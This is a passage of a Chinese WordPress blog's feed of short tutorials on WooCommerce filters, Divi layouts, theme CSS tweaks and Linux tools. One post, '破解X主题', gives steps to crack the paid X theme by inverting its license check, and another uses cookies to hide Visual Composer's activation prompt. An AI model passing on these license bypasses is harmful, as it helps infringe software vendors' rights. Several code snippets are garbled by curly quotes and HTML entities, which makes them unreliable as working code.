  8. 		$args['meta_key'] = $args['orderby'];
  9. 		$args['orderby']  = 'meta_value_num'; 
  10. 	}
  11.  
  12. 	return $args;
  13. }

我们需要把上面的代码放到主题的 functions.php 文件中,然后根据需要编辑 meta_key。

总结一下

WordPress 中,简码相当于是一个封装,把显示商品的功能逻辑和 HTML 代码封装到了一起,直接使用简码,就可以输出简码指定的内容,非常方便,可重用性非常高。下次开发 WooCommerce 主题的时候,不妨多尝试使用简码,相信会在一定程度上加快开发速度。

WooCommerce 默认提供的简码短代码,首发于蓝月网络

]]> WooCommerce:修改“添加到购物车” 的按钮文字 https://lanyueer.com/change-woocommerce-add-to-cart-button-text/ Wed, 23 Nov 2016 13:58:26 +0000 http://lanyueer.com/?p=799 默认情况下,WooCommerce 网络商店中,当填写了商品价格时,添加到购物车上的文字为“添加到购物车(Ad…

WooCommerce:修改“添加到购物车” 的按钮文字,首发于蓝月网络

]]>
默认情况下,WooCommerce 网络商店中,当填写了商品价格时,添加到购物车上的文字为“添加到购物车(Add to cart)”, 大多数情况下,这种默认设置都是没问题的,当我们需要个性化我们的网络商店,提现品牌差异化的时候,我们可能需要修改一下添加到购物车按钮上的文字,比如,修改为 “添加到购物袋”。当然,我们可以通过修改模板实现这个需求,只不过略显麻烦。WooCommerce 为我们提供了一个 Filter 来实现这个需求,我们来看一下这个 Filter 的具体实现方法。

下面的示例中,我们修改 WooCommerce 默认的“Add to cart” 为“Add to bag”,WooCommerce 2.1 以后的版本中,Filter 的名称发生了变化,所以,示例代码分为2.1以前的版本和2.1以后的版本,请注意区分。

修改产品详情页面上的“添加到购物车”文字

  1. add_filter( 'add_to_cart_text', 'woo_custom_cart_button_text' ); // < 2.1
  2. function woo_custom_cart_button_text() {
  3.     return __( 'Add to bag', 'woocommerce' );
  4. }
  1. add_filter( 'woocommerce_product_single_add_to_cart_text', 'woo_custom_cart_button_text' ); // 2.1 +
  2. function woo_custom_cart_button_text() {
  3.     return __( 'Add to bag', 'woocommerce' );
  4. }

修改产品存档页面上的“添加到购物车”文字

  1. add_filter( 'add_to_cart_text', 'woo_custom_cart_button_text' ); // < 2.1
  2. function woo_custom_cart_button_text() {
  3.     return __( 'Add to bag', 'woocommerce' );
  4. }
  1. add_filter( 'woocommerce_product_add_to_cart_text', 'woo_archive_custom_cart_button_text' ); // 2.1 +
  2. function woo_archive_custom_cart_button_text() {
  3.     return __( 'Add to bag', 'woocommerce' );
  4. }

根据产品类型修改产品详情页面上的“添加到购物车”文字

  1. add_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
  2. function custom_woocommerce_product_add_to_cart_text() {
  3.   global $product;
  4.  
  5.   $product_type = $product->product_type;
  6.  
  7.   switch ( $product_type ) {
  8.     case 'external':
  9.       return __( 'Buy product', 'woocommerce' );
  10.       break;
  11.     case 'grouped':
  12.        return __( 'View products', 'woocommerce' );
  13.        break;
  14.     case 'simple':
  15.        return __( 'Add to bag', 'woocommerce' );
  16.        break;
  17.     case 'variable':
  18.        return __( 'Select options', 'woocommerce' );
  19.        break;
  20.     default:
  21.       return __( 'Read more', 'woocommerce' );
  22.   }
  23.  
  24. }

以上的方法适合只修改添加到购物车上的文字而不修改其他内容时,如果你的 WooCommerce 商店在标准的 WooCommerce 模板上做了比较大的修改,直接修改模板代码里面的文字也是一种不错的选择。

WooCommerce:修改“添加到购物车” 的按钮文字,首发于蓝月网络

]]>
WooCommerce: 显示每个产品的总销量 https://lanyueer.com/woocommerce-number-of-products-sold/ Sat, 19 Nov 2016 11:51:24 +0000 http://lanyueer.com/?p=794 WooCommerce将每个产品的总销量作为wp_postmeta表里,可以用get_post_meta获取,…

WooCommerce: 显示每个产品的总销量,首发于蓝月网络

]]>
WooCommerce将每个产品的总销量作为wp_postmeta表里,可以用get_post_meta获取,方法如下

在主题的functions.php中加入如下代码

  1. //在shop页面显示总销量
  2. add_action( 'woocommerce_after_shop_loop_item_title', 'wc_product_sold_count', 5 );
  3. //在产品详情页面显示总销量
  4. add_action( 'woocommerce_single_product_summary', 'wc_product_sold_count', 11 );
  5.  
  6. function wc_product_sold_count() {
  7.     global $product;
  8.     $units_sold = get_post_meta( $product->id, 'total_sales', true );
  9.     echo '<p>' . sprintf( __( '已销售: %s', 'woocommerce' ), $units_sold ) . '</p>';
  10. }

修改add_action最后的数字可以调整位置,值越大越靠后。

 

效果如下所示:

在shop页面显示

在产品详情页面显示

WooCommerce只记录了总销量,无法显示月销量。

WooCommerce: 显示每个产品的总销量,首发于蓝月网络

]]>
DIVI:小企业网站布局包 https://lanyueer.com/get-the-free-small-business-divi-layout-pack/ Mon, 24 Oct 2016 07:18:29 +0000 http://lanyueer.com/?p=787 一个小型企业网站的主要目的是提供有关企业的一般信息,展示他们的服务,地点和联系方式。行动呼吁也很重要。当人们访…

DIVI:小企业网站布局包,首发于蓝月网络

]]>
Small-Business-Home-Hero

一个小型企业网站的主要目的是提供有关企业的一般信息,展示他们的服务,地点和联系方式。行动呼吁也很重要。当人们访问你的网站的行动呼吁引导您的客户。

下载小企业布局包

这个小企业的布局包包括4个页面:首页、关于我们、我们的服务和联系我们。我们以建筑业为例。你可以通过简单地更换图片和文字修改这个布局包来适合不同类型的业务。

Small-Business---Home

Divi Small Business 首页

Small-Business---About

Divi Small Business 关于我们页面

Small-Business----Services

Divi Small Business 服务页面

Small-Business----Contact

Divi Small Business 联系页面

DIVI:小企业网站布局包,首发于蓝月网络

]]>
DIVI:Coming Soon页面布局下载 https://lanyueer.com/download-the-free-divi-coming-soon-pages-layout-kit/ Mon, 24 Oct 2016 06:55:50 +0000 http://lanyueer.com/?p=785 下载Divi Coming Soon页面 Divi Coming Soon Layout 01 Divi Co…

DIVI:Coming Soon页面布局下载,首发于蓝月网络

]]>
divi-100-coming-soon-pages-layout-kit-08

下载Divi Coming Soon页面

divi-100-coming-soon-pages-layout-kit-01

Divi Coming Soon Layout 01

divi-100-coming-soon-pages-layout-kit-02

Divi Coming Soon Layout 02

divi-100-coming-soon-pages-layout-kit-03

Divi Coming Soon Layout 03

divi-100-coming-soon-pages-layout-kit-04

Divi Coming Soon Layout 04

divi-100-coming-soon-pages-layout-kit-05

Divi Coming Soon Layout 05

divi-100-coming-soon-pages-layout-kit-06

Divi Coming Soon Layout 06

divi-100-coming-soon-pages-layout-kit-07

Divi Coming Soon Layout 07

divi-100-coming-soon-pages-layout-kit-08

Divi Coming Soon Layout 08

DIVI:Coming Soon页面布局下载,首发于蓝月网络

]]>
给 WordPress 后台和前台设置不同的语言 https://lanyueer.com/simple-admin-language-change/ Wed, 19 Oct 2016 13:09:35 +0000 http://lanyueer.com/?p=783 Simple Admin Language Change 插件,允许你直接在后台设置 – 常规界面为前台和后台…

给 WordPress 后台和前台设置不同的语言,首发于蓝月网络

]]>
Simple Admin Language Change 插件,允许你直接在后台设置 – 常规界面为前台和后台设置各自的语言,而且解决了第一种方法的弊端:

20161017101420
不过,在 设置 – 常规 这个界面,显示的仍然是前台语言,其他页面都是后台语言。

你可以在后台插件安装界面搜索 Simple Admin Language Change 直接安装,或者

在这里下载 Simple Admin Language Change

给 WordPress 后台和前台设置不同的语言,首发于蓝月网络

]]>
Tiny Core Linux – 体积最小的精简 Linux 操作系统发行版之一 (仅10多MB) https://lanyueer.com/tiny-core-linux/ Sun, 02 Oct 2016 09:51:11 +0000 http://lanyueer.com/?p=778 Tiny Core Linux (TCL) 是一款极体积极小且高度可扩展的微型 Linux 发行版,它将一个 …

Tiny Core Linux – 体积最小的精简 Linux 操作系统发行版之一 (仅10多MB),首发于蓝月网络

]]>
Tiny Core Linux (TCL) 是一款极体积极小且高度可扩展的微型 Linux 发行版,它将一个 Linux 操作系统精简到仅有 10 多 MB 左右的大小,似乎小巧得有点让人叹为观止!

要知道无论是常见的 Ubuntu、CentOS、Debian 的体积动辄就是几百MB甚至要上GB了,Tiny Core Linux 一出手则技惊四座,它包含了 BusyBox 和 FLTK 图形界面,不仅体积极小,对硬件配置要求也非常低,即使在古董级的电脑上也能跑得欢……

体积小、好玩、速度极快的微型 Linux 系统

看到 Tiny Core Linux 的时候你可能会发出感慨,什么叫做麻雀虽小五脏俱全。它的体积仅有十几MB左右,却依然提供了图形化的界面。而且得益于体积小,Tiny Core Linux 采用了「将系统内核完全装载在内存中运行」的方式,因此无论是启动还是运行速度都极快!

tiny_core_linux

当然,它并没有预装任何程序,极度的精简也带来一些问题,譬如驱动不全,默认情况下它并不能支持全部的硬件,它只包含了 Linux 内核和一个非常精简的X桌面,以及对有线网络的支持。用户可以通过在线 Repository 自行安装硬件驱动和第三方程序,也可以手动编译所需的软件。

但是,Tiny Core Linux 好玩和实用之处恰恰是让用户有充分的定制自由,通过加装软件、添加驱动模块扩展其应用来打造自己的最小的实用性 Linux 系统。

Tiny Core Linux 的用途广泛

别以为 Tiny Core Linux 只是体积小速度快,其实它用途也是很广的。譬如初入门 Linux 想学习下最简单的命令,你可以几分钟内就能下载并在虚拟机里跑起 Tiny Core Linux,而其他的 Linux 发行版想必都没下载完吧。而作为一个精简的 Linux 虚拟机来使用,不仅占用资源极小,速度也很快!

tiny_core_linux_screenshot1

或者如果你手头上还有一些老古董级的电脑,甚至连跑个 Win98/95 都有点吃力,那体积极小而且速度飞快的 Tiny Core Linux 也许能让它重新焕发青春,可以让它跑个浏览器上上网,或跑一些简单的脚本/网络服务,发挥想象力,利用起来可能作用还不小呢。

另外,如果你还对目前比较火的 Docker 虚拟化应用有所了解,你可能知道由于 Docker 引擎使用了 Linux 内核的特性,因此在 Mac OS X 和 Windows 系统上并不能直接管理和创建 container 容器,因此出现了 boot2docker 这样的项目,它非常聪明地通过集成了 Virtualbox 以及加上一个基于 Tiny Core Linux 镜像的虚拟机,从而使得 Mac OS X 和 Windows 在耗费极小的系统资源和磁盘空间情况下,通过虚拟化的方式让它们支持 Docker,这就是 Tiny Core Linux 的一个极佳应用例子了。

硬件配置要求:

根据官方的说明,Tiny Core Linux 最小硬件配置要求是 28MB 内存保障核心运行, 46 MB 内存保障系统运行,最低 CPU 需求是 i486DX,也就是各种课本中经常提到的老古董 Intel 80486(估计国内没多少个小伙伴还有此神器吧)。当然,这支持最低要求,官方的推荐配置要求是不低于奔腾 2 CPU,128MB 内存。恐怕小伙伴们也难以找到低于这个配置而且还能正常使用的电脑了吧。

tiny_core_linux_screenshot2

Tiny Core Linux 三个版本:

Tiny Core Linux 其实提供了三个不同版本供用户下载,分别是 Core (11MB)、TinyCore (16MB) 以及 CorePlus (106MB),其中 Core 版只包含命令行,没有图形界面,适用于高级用户或用来定制应用;TinyCore 版则是提供了图形界面、网络连接等功能,比较适合大众用户;而 CorePlus 版则内置了更多的安装工具,安装时可以在7种窗口管理器中自由选择,支持非美国键盘等。

相关文件下载地址:

仅命令行版图形界面版CorePlus版

Tiny Core Linux – 体积最小的精简 Linux 操作系统发行版之一 (仅10多MB),首发于蓝月网络

]]>
DIVI:强大的博客页面布局下载 https://lanyueer.com/divi-blog-post-layout-pack/ Mon, 12 Sep 2016 06:59:40 +0000 http://lanyueer.com/?p=774 下载博客页面布局 博客页面布局 01 博客页面布局 02 博客页面布局 03

DIVI:强大的博客页面布局下载,首发于蓝月网络

]]>
Divi-Blog-Post-Layout-01

下载博客页面布局

博客页面布局 01

Divi-Blog-Post-Layout-02

Divi-Blog-Post-Layout-02-02

博客页面布局 02

Divi-Blog-Post-Layout-01

Divi-Blog-Post-Layout-01-01

博客页面布局 03

Divi-Blog-Post-Layout-03

Divi-Blog-Post-Layout-03-03

DIVI:强大的博客页面布局下载,首发于蓝月网络

]]>
DIVI:客户评价布局下载 https://lanyueer.com/divi-testimonials-layout-kit/ Mon, 12 Sep 2016 06:38:15 +0000 http://lanyueer.com/?p=772 下载客户评价布局 11个漂亮的客户评价布局 客户评价布局1 客户评价布局2 客户评价布局3 客户评价布局4 客…

DIVI:客户评价布局下载,首发于蓝月网络

]]>
divi-testimonial-layout-pack-01

下载客户评价布局

11个漂亮的客户评价布局

divi-testimonial-section-01

客户评价布局1

divi-testimonial-section-02

客户评价布局2

divi-testimonial-layout-pack-03

客户评价布局3

divi-testimonial-section-04

客户评价布局4

divi-testimonial-section-05

客户评价布局5

divi-testimonial-section-06

客户评价布局6

divi-testimonial-section-07

客户评价布局7

divi-testimonial-section-08

客户评价布局8

divi-testimonial-section-09

客户评价布局9

divi-testimonial-section-10

客户评价布局10

divi-testimonial-section-11

客户评价布局11

DIVI:客户评价布局下载,首发于蓝月网络

]]>
DIVI:免费登录页面扩展下载 https://lanyueer.com/free-divi-custom-login-page-extension/ Mon, 05 Sep 2016 00:50:08 +0000 http://lanyueer.com/?p=769 Divi自定义登录页面扩展是通过插件的形式,为您提供品牌相结合的预先设计和个人定制定制你的WordPress的…

DIVI:免费登录页面扩展下载,首发于蓝月网络

]]>
Divi自定义登录页面扩展是通过插件的形式,为您提供品牌相结合的预先设计和个人定制定制你的WordPress的登录页面。

一旦安装完毕,这个新的扩展将允许为您、网站访问者、当然还有你的客户提供一个无缝的品牌(或更漂亮)登录的体验。

下载登录页面扩展

安装激活插件后你会发现一个新的选项在wp-admin边栏叫做DIVI 100。在自定义登录页扩展的设置面板中有许多强大的设置。首先,你要选择一种风格。你可以选择改变背景颜色,添加背景图像,选择一个新的Logo,修改LOGO的网址,选择按钮的背景颜色,并选择按钮的文本颜色等。

divi-custom-login-page-extension-settings-2

 

Divi 登录页面扩展样式

divi-login-page-1

样式1

divi-login-page-2

样式2

divi-login-page-3

样式3

divi-login-page-4

样式4

divi-login-page-5

样式5

divi-login-page-6

样式6

divi-login-page-7-1

样式7

DIVI:免费登录页面扩展下载,首发于蓝月网络

]]>
DIVI:5个惊人的画廊页面布局下载 https://lanyueer.com/5-stunning-gallery-page-layouts/ Mon, 05 Sep 2016 00:19:56 +0000 http://lanyueer.com/?p=767 DIVI为用户提供了无数的方式来显示他们的图像。无论是作为全屏幕背景,全宽的部分,使用一个滑块,一个画廊,或者…

DIVI:5个惊人的画廊页面布局下载,首发于蓝月网络

]]>
DIVI为用户提供了无数的方式来显示他们的图像。无论是作为全屏幕背景,全宽的部分,使用一个滑块,一个画廊,或者在页面的单个图像。但是,得到正确的组合元素,正确的平衡,做出一个引人注目的页面设计是很困难的。这就是为什么在今天的文章中我们赠送一新布局专门帮助你创建令人惊叹的全页画廊。

点击下面的链接下载布局包。一旦你已经下载文件,双击zip文件提取内容。可以找到json文件。这个文件可以导入到你的库中。只需登录到你的WordPress网站,浏览到Divi > Divi 库页面,使用页面上方的“导入和导出”按钮导入JSON文件。

下载画廊页面布局

画廊页面布局 01

画廊页面布局 02

画廊页面布局 03

画廊页面布局 04

画廊页面布局 05

DIVI:5个惊人的画廊页面布局下载,首发于蓝月网络

]]>
DIVI:5个使用DIVI创建的高转化率的着陆页 https://lanyueer.com/5-high-conversion-landing-pages-built-using-divi/ Sun, 04 Sep 2016 14:00:24 +0000 http://lanyueer.com/?p=760 创建一个有效的登陆页面是不容易的,为了实现它,你需要得到很多元素恰到好处。设计需要醒目,布局需要强调你试图出售…

DIVI:5个使用DIVI创建的高转化率的着陆页,首发于蓝月网络

]]>
创建一个有效的登陆页面是不容易的,为了实现它,你需要得到很多元素恰到好处。设计需要醒目,布局需要强调你试图出售的产品或服务,而副本需要是正确的,以说服人们相信你。即使你实现了它,并有效地进行管理,但保持高的转换率完全是另一回事。

下面就让我们看一看这5个使用DIVI搭建的高转化率的着陆页:

 

1. ConversionLab

 

2. Devine Wellness

 

3. Boxit

 

4. Pierce Bivens

 

5. 28 Days to Alpha

DIVI:5个使用DIVI创建的高转化率的着陆页,首发于蓝月网络

]]>
DIVI:添加Divi Builder到自定义文章类型 https://lanyueer.com/add-the-divi-builder-to-custom-post-types/ Sun, 04 Sep 2016 13:29:17 +0000 http://lanyueer.com/?p=756 添加PHP代码段到你的子主题的functions.php文件: function my_et_builder_…

DIVI:添加Divi Builder到自定义文章类型,首发于蓝月网络

]]>
添加PHP代码段到你的子主题的functions.php文件:

PHP代码粘贴

function my_et_builder_post_types( $post_types ) {
    $post_types[] = 'YOUR_CPT_HERE';
    $post_types[] = 'ANOTHER_CPT_HERE';
 
    return $post_types;
}
add_filter( 'et_builder_post_types', 'my_et_builder_post_types' );

找到您想要使用Divi Builder的自定义类型的名称,来替换上面代码中的YOUR_CPT_HERE和ANOTHER_CPT_HERE。

如果你不知道自定义字段的名称,那就新建相应自定义字段的文章,在地址栏就可以看到自定义文章类型的名称是什么,就是下图所示:

post-type-name-1

另:为CPT UI Post Types添加CSS:
如果你使用Custom Post Type UI 插件创建了自定义类型,你需要粘贴下面的CSS到Divi > Theme Options > Custom CSS,这将允许正常显示你新的自定义文章类型生成器内容。

/*使用自定义文章类型别名替换 “POST_TYPE”.
___________________________________________________________*/
 
.et_pb_pagebuilder_layout.single-POST_TYPE #page-container .et_pb_row {
width: 100%;
}
.et_pb_pagebuilder_layout.single-POST_TYPE #page-container .et_pb_with_background .et_pb_row {
width: 80%;
}

DIVI:添加Divi Builder到自定义文章类型,首发于蓝月网络

]]>
DIVI:现代化网站首页布局下载 https://lanyueer.com/modern-homepages-single-page-websites/ Thu, 01 Sep 2016 14:11:49 +0000 http://lanyueer.com/?p=754 今天,我们很高兴地发布一个全新的布局包充满了现代的网页设计。这些布局的绝对漂亮。这个布局包包括三个独特的网页设…

DIVI:现代化网站首页布局下载,首发于蓝月网络

]]>
今天,我们很高兴地发布一个全新的布局包充满了现代的网页设计。这些布局的绝对漂亮。这个布局包包括三个独特的网页设计。使用Divi Builder的先进设计设置和自定义CSS来创建一个真正独特的外观。

点击下面的链接下载布局包。一旦你已经下载文件,双击zip文件提取内容。可以找到json文件。这个文件可以导入到你的库中。只需登录到你的WordPress网站,浏览到Divi > Divi 库页面,使用页面上方的“导入和导出”按钮导入JSON文件。

下载首页布局包

企业商家主页

01

01-01

设计机构首页

02

03-03

本地/生活方式商业主页

03

02-02

DIVI:现代化网站首页布局下载,首发于蓝月网络

]]>
DIVI:着陆页面布局下载 https://lanyueer.com/divi-landing-page-layout-kit/ Thu, 01 Sep 2016 13:34:23 +0000 http://lanyueer.com/?p=752 我们创建了一个新的布局来帮助你比以前更快更容易地建立登陆页面。这就是所谓的“Divi着陆页面布局工具”,这是基…

DIVI:着陆页面布局下载,首发于蓝月网络

]]>
我们创建了一个新的布局来帮助你比以前更快更容易地建立登陆页面。这就是所谓的“Divi着陆页面布局工具”,这是基于模块化部分,允许你通过组合不同的组件创建完美的页面布局。简单的混合和匹配预置部分可以打造多种设计,可用于不同的项目。

点击下面的链接下载布局包。一旦你已经下载divi-landing-page-kit.zip文件,双击zip文件提取内容。可以找到Landing Page Kit.json文件。这个文件可以导入到你的库中。只需登录到你的WordPress网站,浏览到Divi > Divi 库页面,使用页面上方的“导入和导出”按钮导入JSON文件。

一旦布局包已安装,你会发现所有23个组件已被添加到DIVI库。这些组件可以通过点击页面中的每个部分下方的“从库中添加”来添加到新的页面。简单的混合和匹配预置部分创建您需要的着陆页面!

add-from-library

下载着陆页面布局

landing_page_layout

23个模块化DIVI库组件

add-from-library

页眉 1

01

页眉 2

03

页眉 3

05

页眉 4

02

页眉 5

04

The Product

06

手机 App

07

科技

08

收藏网格

09

客户

10

客户评价

11

社交链接

12

数字

13

步骤

14

客户评价滑块

15

功能

16

价格表

17

有限优惠

18

收集

19

画廊

20

联系

常规CTA

22

DIVI:着陆页面布局下载,首发于蓝月网络

]]>
Linux最好用远程管理 xshell https://lanyueer.com/xshell-putty/ Thu, 01 Sep 2016 11:49:16 +0000 http://lanyueer.com/?p=747 介绍给大家一款最实用的是linux远程管理软件,xshell,最好用的软件,没有之一。支持中文,家庭用户全免费…

Linux最好用远程管理 xshell,首发于蓝月网络

]]>
介绍给大家一款最实用的是linux远程管理软件,xshell,最好用的软件,没有之一。支持中文,家庭用户全免费,支持保存密码,支持各种自定义功能,包括字体等等。

下载地址:http://www.netsarang.com/download/down_xsh.html

一、输入IP和端口

xshell-1

二、输入ROOT帐号和密码

xshell-2

三、平时使用,直接点开就连接上了,省事省心,尤其是多服务器管理

xshell-3

切记:不要从不知来源的网站,下载任何类似管理软件,PUTTY汉化有木马事件铭记于心。

Linux最好用远程管理 xshell,首发于蓝月网络

]]>
DIVI:自定义Logo大小 https://lanyueer.com/custom-logo-size/ Thu, 01 Sep 2016 07:48:44 +0000 http://lanyueer.com/?p=744 打开后台Divi-主题选项-常规设置,加入自定义CSS即可: 具体代码如下: .et_fixed_nav #l…

DIVI:自定义Logo大小,首发于蓝月网络

]]>
打开后台Divi-主题选项-常规设置,加入自定义CSS即可:

divilogo3

具体代码如下:

.et_fixed_nav #logo {
max-height: 160px;
}
.et-fixed-header #logo {
 max-height: 90px !important;
 padding:0 !important; 
}

DIVI:自定义Logo大小,首发于蓝月网络

]]>
DIVI:修改页脚版权链接 https://lanyueer.com/change-footer-copyright/ Thu, 01 Sep 2016 07:43:13 +0000 http://lanyueer.com/?p=740 Divi主题在页脚有个版权链接,在后台找不到地方修改。如果安装了插件Divi Booster,就可以方便的修改…

DIVI:修改页脚版权链接,首发于蓝月网络

]]>
Divi主题在页脚有个版权链接,在后台找不到地方修改。如果安装了插件Divi Booster,就可以方便的修改。但是这是一个收费插件,另外对于插件敏感者来说,不愿意使用。所以我们可以通过手动的方式进行修改。

divifooter1

这个修改非常简单,请不要说我不懂代码,实际上照葫芦画瓢即可。

方法如下:

首先登陆网站后台,点外观-编辑,这样就进入了主题代码编辑模式,点右边的底部文件(footer.php),您就会看到版权代码:

divifooterlink2

把这行代码修改为你自己的即可如:

<p id=”footer-info”>这里可以添加其他内容<a href=”http://您的域名” title=”网站标题”>网站名称</a>这里也可以添加其它内容</p>

保存后就会看到效果。

DIVI:修改页脚版权链接,首发于蓝月网络

]]>
DIVI:社交媒体在新窗口打开 https://lanyueer.com/social-media-opens-in-new-window/ Thu, 01 Sep 2016 07:33:43 +0000 http://lanyueer.com/?p=737 默认情况下,Divi主题的社交媒体是在同一窗口打开的。如果您想在新窗口打开,在不修改代码的情况下如何实现呢?这…

DIVI:社交媒体在新窗口打开,首发于蓝月网络

]]>
默认情况下,Divi主题的社交媒体是在同一窗口打开的。如果您想在新窗口打开,在不修改代码的情况下如何实现呢?这里提供了一个简单的方法:

在WP管理后台-divi-主题选项,进入整合选项:

divisocial

粘贴下面代码进去即可,记得启用页眉代码功能:

  1. <script type=text/javascript”>
  2. jQuery(document).ready(function(){
  3. jQuery(“.et-social-icon a”).attr(‘target’, ‘_blank’);
  4. });
  5. </script>

然后保存即可。

DIVI:社交媒体在新窗口打开,首发于蓝月网络

]]>
the7主题如何添加一个用户前端注册 https://lanyueer.com/the7-add-registration/ Sun, 28 Aug 2016 12:32:39 +0000 http://lanyueer.com/?p=715 the7主题现在可以在前端添加一个用户登录按钮,因为the7主题提供了一个简单的前端登陆简码。方法是新建一个登…

the7主题如何添加一个用户前端注册,首发于蓝月网络

]]>
the7主题现在可以在前端添加一个用户登录按钮,因为the7主题提供了一个简单的前端登陆简码。方法是新建一个登陆页面,然后把简码放进去即可实现前端登陆:

然而the7没有提供注册简码,所以我们要实现前端注册,最简单的办法是通过插件。今天我们通过profile-builder这个插件实现。插件下载地址:https://wordpress.org/plugins/profile-builder

先安装插件并激活后进入插件管理字段:

the7pr

然后点编辑,修改字段标题:

the7pr3

编辑好后:

the7pr2

现在就编辑好了,进入wp页面里创建一个登陆页面,添加文本元素,在右边输入简码:[wppb-register]

the7login

记下这个页面地址,进入the7主题的主题选项-页眉&顶部栏-布局,登陆区:

the7lr

最后前台显示如下:

the7loginok

the7主题如何添加一个用户前端注册,首发于蓝月网络

]]>
彻底解决 The7.3 Archive博客分类列表显示问题 https://lanyueer.com/the73-archive/ Fri, 26 Aug 2016 13:23:24 +0000 http://lanyueer.com/?p=701 The7在The7.1版本,Archive相关博客分类都是列表显示的。对我们中国人来说还是比较正常的。The7…

彻底解决 The7.3 Archive博客分类列表显示问题,首发于蓝月网络

]]>
The7在The7.1版本,Archive相关博客分类都是列表显示的。对我们中国人来说还是比较正常的。The7.2、The7.3开始,Archive博客分类是网格显示的.

彻底解决The7博客分类列表显示的方法如下:

1:打开functions.php新增钩子

//一列显示的博客数量
 
add_action( 'get_header', 'dt_archive_layout', 10 );
 
function dt_archive_layout() {
 
$config = Presscore_Config::get_instance();
 
if(is_archive() || is_category() ){
 
//显示的列数,1则为列表显示
$config-&gt;set( 'template.columns.number', '1' );
$config-&gt;set( 'post.preview.width.min', '200' );
$config-&gt;set( 'image_layout', 'resize' );
 
//博客特色图像缩略图比例
$config-&gt;set( 'thumb_proportions', array( "width" =&gt; "1", "height" =&gt; "1" ) );
 
}
}

2:添加css

.post.bg-on{
background-color: #fff;
 
border-style: solid;
border-width: 1px;
border-color: #e9ebec;
border-left: none;
border-right: none;
border-top: none;
padding-bottom: 24px;
margin-bottom: 35px;
}
 
.layout-masonry .blog-content.wf-td, .layout-masonry .blog-media.wf-td, .iso-grid .blog-content.wf-td, .iso-grid .blog-media.wf-td, .media-wide .blog-content.wf-td, .media-wide .blog-media.wf-td, .iso-container .blog-media.wf-td, .iso-container .blog-content.wf-td, .shortcode-blog-posts .wf-td{
display: table-cell;
}
 
.archive .blog-media {
width: 25% !important;
margin-right: 15px;
}
.archive .blog-content {
width: 73% !important;
}

现在,我们看看实现的效果

2 彻底解决 The7.3 Archive博客分类列表显示问题

彻底解决 The7.3 Archive博客分类列表显示问题,首发于蓝月网络

]]>
破解X主题 https://lanyueer.com/null-x-theme-wordpress-theme/ Wed, 24 Aug 2016 12:59:23 +0000 http://lanyueer.com/?p=697 1: 转到 /wp-content/themes/x/framework/functions/global 2…

破解X主题,首发于蓝月网络

]]>
1: 转到 /wp-content/themes/x/framework/functions/global
2: 打开 helper.php
3: 更改代码在行50:

  1. function x_is_validated() {
  2.  
  3. if ( get_option( ‘x_product_validation_key’ ) != false ) {
  4. return true;
  5. } else {
  6. return false;
  7. }
  8.  
  9. }

4: 修改为:

  1. function x_is_validated() {
  2.  
  3. if ( get_option( ‘x_product_validation_key’ ) != false ) {
  4. return false;
  5. } else {
  6. return true;
  7. }
  8.  
  9. }

5: 重新加载后台,输入密钥 (任意输入!!)
6: 破解成功!!

破解X主题,首发于蓝月网络

]]>
移除Visual Composer激活提示 https://lanyueer.com/how-to-remove-visual-composer-active-your-copy-nag/ Wed, 24 Aug 2016 12:49:21 +0000 http://lanyueer.com/?p=695 最快捷的方式 最简单的方法是将下面的代码放在您当前主题的 Functions.php 文件中: setcook…

移除Visual Composer激活提示,首发于蓝月网络

]]>
最快捷的方式

最简单的方法是将下面的代码放在您当前主题的 Functions.php 文件中:

  1. setcookie(‘vchideactivationmsg’,1, strtotime(+3 years’),/);
  2. setcookie(‘vchideactivationmsg_vc11’, (defined(‘WPB_VC_VERSION’) ? WPB_VC_VERSION :1), strtotime(+3 years’),/);

使用插件方式

或者你可以将下面的代码保存为stop-vc-nag.php,然后放在 wp-content/plugins文件夹中并在后台激活“关闭Visual Composer激活提示”插件。

  1. <?php
  2. /*
  3. Plugin Name: 关闭Visual Composer激活提示
  4. Plugin URI:https://lanyueer.com
  5. Description:此插件可以关闭后台Visual Composer激活提示。
  6. Version: 2016.08.23
  7. Author: 蓝月网络
  8. Author URI: https://lanyueer.com
  9. License: GPL2
  10. */
  11.  
  12. add_action(‘admin_init’, function()
  13. {
  14.     if(is_admin()) {
  15.         setcookie(‘vchideactivationmsg’,1, strtotime(+3 years’),/);
  16.         setcookie(‘vchideactivationmsg_vc11’, (defined(‘WPB_VC_VERSION’) ? WPB_VC_VERSION :1), strtotime(+3 years’),/);
  17.     }
  18. });

移除Visual Composer Ultimate Addons提示

将下面的代码添加到wp-config.php文件中:

  1. define(‘ULTIMATE_NO_EDIT_PAGE_NOTICE’, true);
  2. define(‘ULTIMATE_NO_PLUGIN_PAGE_NOTICE’, true);

移除Visual Composer激活提示,首发于蓝月网络

]]>
7款最好用的 WordPress 多语言翻译插件 https://lanyueer.com/best-wordpress-translation-plugin/ Sat, 20 Aug 2016 01:51:32 +0000 http://lanyueer.com/?p=674 写一篇好文章,通常要做大量工作,你自然就想把写出来的文章分享给最广大的受众。 现而今,最通用的语言当属英语。E…

7款最好用的 WordPress 多语言翻译插件,首发于蓝月网络

]]>
写一篇好文章,通常要做大量工作,你自然就想把写出来的文章分享给最广大的受众。

现而今,最通用的语言当属英语。Ethnologue(民族语言网)在其2015年版用户手册中指出,在全球74亿人中,有近10亿人以某种形式说英语,有4亿人以英语为母语。

与使用互联网有关的数据则更加有趣。网络技术调查网站W3Techs公司的调查结果表明,虽然仅有25.9%的互联网用户说英语,但是多半,准确地说,53.6%的互联网内容使用的都是英语。这里明显存在一个问题,也给使用多语言工作且经验丰富的网络高手提供了一个新的机遇。

为了能够赢得国际互联网用户,就得发布多语言内容。比如说,你将自己的内容翻译成西班牙语,就可能看到有西班牙用户访问你的网站。

把自己网站的内容翻译成多种语言的最好方式就是安装相关的插件。这里有很多非常好的方法。这些插件通常分为两种类型:

  • 自动翻译插件。此类插件使用在线服务,点击相应按钮即可使用。但是使用类似服务不能获得高质量的译文。
  • 人工翻译插件。此类插件可以对内容进行辅助翻译(或者使用相应的软件)。您可以用母语写作,然后把它翻译成其他语言,让用户可以在这些语言之间进行切换。用这种方法翻译劳动强度要大些,但是译文的质量会更高。

本次评测中列举的插件既包括第一类,也包括第二类。我们将对7款多语言内容翻译插件进行讲评。

WPML ($29起价)

wpml

这款插件无疑这7款插件中名气最大的。这款插件默认支持40多种语言,还可以添加其他支持语言。

WPML可以将译文添加到主域名,也可以添加到子域名和其他域名,让它成为多语言网站管理的通用方式。

